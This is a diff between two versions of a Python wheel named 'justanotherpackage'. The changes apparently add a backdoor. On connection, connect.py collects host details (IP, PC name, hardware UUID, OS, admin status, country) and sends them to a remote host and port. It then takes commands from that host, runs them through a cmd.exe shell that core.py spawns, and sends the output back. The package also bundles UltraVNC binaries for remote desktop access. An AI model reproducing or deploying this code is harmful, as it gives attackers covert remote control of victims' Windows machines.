justanotherpackage 0.1.7__py3-none-any.whl → 0.1.9__py3-none-any.whl

justanotherpackage/connect.py

@@ -5,6 +5,8 @@ import platform
 import ctypes
 import requests
 from wmi import WMI
+from .core import create_shell
+import json
 
 def check_account_type():
     try:
@@ -19,20 +21,23 @@ def get_client_info():
     system = platform.system()
     version = platform.version().split('.')[0]
     os = f"{system} {version}"
-    response = requests.get('https://ipapi.co/json/')
+    response = requests.get('https://ipv4.jsonip.com', timeout=5)
     data = response.json()
     ip = data.get('ip')
-    country = data.get('country_name')
+    response = requests.get(f'https://api.findip.net/{ip}/?token=000e63e9964845a693b5dcd40dfd6a9d', timeout=5)
+    data = response.json()
+    country_en = data['country']['names']['en']
 
-    client_info = {
+    client_info = { "new_client": {
         "IP": ip, 
         "PC Name": platform.node(),  
         "PC ID":  WMI().Win32_ComputerSystemProduct()[0].UUID,
         "OS": os, 
         "Account Type": check_account_type(), 
-        "Country": country,
+        "Country": country_en,
         "Tag": "Remote PC",
         }
+    }
     return client_info
 
 def start_connection(HOST, PORT):
@@ -42,19 +47,46 @@ def start_connection(HOST, PORT):
             client_socket.connect((HOST, PORT))
             client_info = get_client_info()
             client_socket.sendall(str(client_info).encode('utf-8'))
-            print(f"{client_info} sent to: {HOST}:{PORT}")
-            handle_connection(client_socket)
-        except Exception as e:
-            print(e)
-            time.sleep(5)
+
+            while True:
+                data = client_socket.recv(1024).decode('utf-8').strip()
+                if not data:
+                    break
+                
+                if data.get("terminal") is not None:
+                    terminal(data, client_socket)
+
+        except (socket.error, ConnectionResetError):
+            time.sleep(1)
+        
         finally:
             client_socket.close()
 
-def handle_connection(client_socket):
-    try:
-        while True:
-            command = client_socket.recv(1024).decode('utf-8').strip()
-            if command:
-                client_socket.sendall(f"Command executed successfully: {command}\n".encode('utf-8'))
-    except:
-        client_socket.close()
+
+def terminal(data, client_socket):
+    shell, stdout_queue, stderr_queue = create_shell()
+
+    if isinstance(data, str):
+        try:
+            data = json.loads(data)
+        except json.JSONDecodeError:
+            data = data
+    else:
+        data = json.dumps(data)
+    
+    data = data["terminal"]
+
+    shell.stdin.write(data + "\n")
+    shell.stdin.flush()
+
+    time.sleep(0.5)
+    output = ""
+
+    while not stdout_queue.empty() or not stderr_queue.empty():
+        while not stdout_queue.empty():
+            output += stdout_queue.get_nowait()
+        while not stderr_queue.empty():
+            output += stderr_queue.get_nowait()
+
+    client_socket.sendall(output.encode('utf-8') if output else b"Command executed successfully.\n")
+    shell.terminate()

justanotherpackage/core.py

@@ -0,0 +1,30 @@
+import subprocess
+import threading
+import queue
+
+def create_shell():
+    def read_output(pipe, output_queue):
+        for line in iter(pipe.readline, ''):
+            output_queue.put(line)
+        pipe.close()
+
+    shell = subprocess.Popen(
+        ["cmd.exe"],
+        stdin=subprocess.PIPE,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        text=True,
+        bufsize=1
+    )
+
+    stdout_queue = queue.Queue()
+    stderr_queue = queue.Queue()
+
+    stdout_thread = threading.Thread(target=read_output, args=(shell.stdout, stdout_queue))
+    stderr_thread = threading.Thread(target=read_output, args=(shell.stderr, stderr_queue))
+    stdout_thread.daemon = True
+    stderr_thread.daemon = True
+    stdout_thread.start()
+    stderr_thread.start()
+
+    return shell, stdout_queue, stderr_queue

{justanotherpackage-0.1.7.dist-info → justanotherpackage-0.1.9.dist-info}/METADATA

@@ -1,5 +1,5 @@
 Metadata-Version: 2.2
 Name: justanotherpackage
-Version: 0.1.7
+Version: 0.1.9
 Requires-Python: >=3.6
 Dynamic: requires-python

{justanotherpackage-0.1.7.dist-info → justanotherpackage-0.1.9.dist-info}/RECORD

@@ -1,6 +1,6 @@
 justanotherpackage/__init__.py,sha256=r0rWIFMfaD0Y2XGViT_OZXY4dIk155FtyS0zsWVW7FE,37
-justanotherpackage/connect.py,sha256=x6Zsoq4P9mCTkdnPtVHySb8W1xQUYU7P50wqX9CiqKg,1775
-justanotherpackage/core.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0
+justanotherpackage/connect.py,sha256=WX6TcY6AwhnPebPMapKeoAN8A0KRj8ns_r1Hy_obFMU,2677
+justanotherpackage/core.py,sha256=LKTdIlJfjL--2ngOsnU3ggDKQCVMdNi2QrCUH4oztR4,845
 justanotherpackage/vnc/SecureVNCPlugin.dsm,sha256=-nHLmtiKMdeYEYOtOTmFGTzPnDa_xe51z6KM2l1ONnI,2302408
 justanotherpackage/vnc/UltraVNC.ini,sha256=gPymSJUXr65PgHPJ-99bdmp7pEsTgdn5PnO14IG8hXU,1409
 justanotherpackage/vnc/ddengine.dll,sha256=dqoyD-ujCoZePa4ep6FHAvZWz80PpS33sgx1zytD7M8,259016
@@ -10,7 +10,7 @@ justanotherpackage/vnc/winvnc.exe,sha256=P7OO77jbTVK-Qo-syKJCmXqyrVio0ImAp2iMm_C
 justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll,sha256=_52Pf8LD9dCvr2926H1B_uq_VPrL4m3FlmGniDDzKXI,47744
 justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf,sha256=9hXCZOGgSloYxiwIyruevo922WSwShERafdskDbyYN0,3890
 justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat,sha256=EQXgWZOrTqjv1kdf_rggkbphOH4tT1Ma5cYJfpv1MNM,8560
-justanotherpackage-0.1.7.dist-info/METADATA,sha256=t5RmBsl9ebSNw1C1RmtomcO5oAVWDZFDpAnGcApbQsM,115
-justanotherpackage-0.1.7.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
-justanotherpackage-0.1.7.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
-justanotherpackage-0.1.7.dist-info/RECORD,,
+justanotherpackage-0.1.9.dist-info/METADATA,sha256=2h5Myp77y6GFCmSsiwKDm992tclv5VQhFcI-Q2H1sUo,115
+justanotherpackage-0.1.9.dist-info/WHEEL,sha256=In9FTNxeP60KnTkGw7wk6mJPYd_dQSjEZmXdBdMCI-8,91
+justanotherpackage-0.1.9.dist-info/top_level.txt,sha256=TYPvm7Vn_5xwf6F2gJkqghqm656FdzsEtV8d4p9I47g,19
+justanotherpackage-0.1.9.dist-info/RECORD,,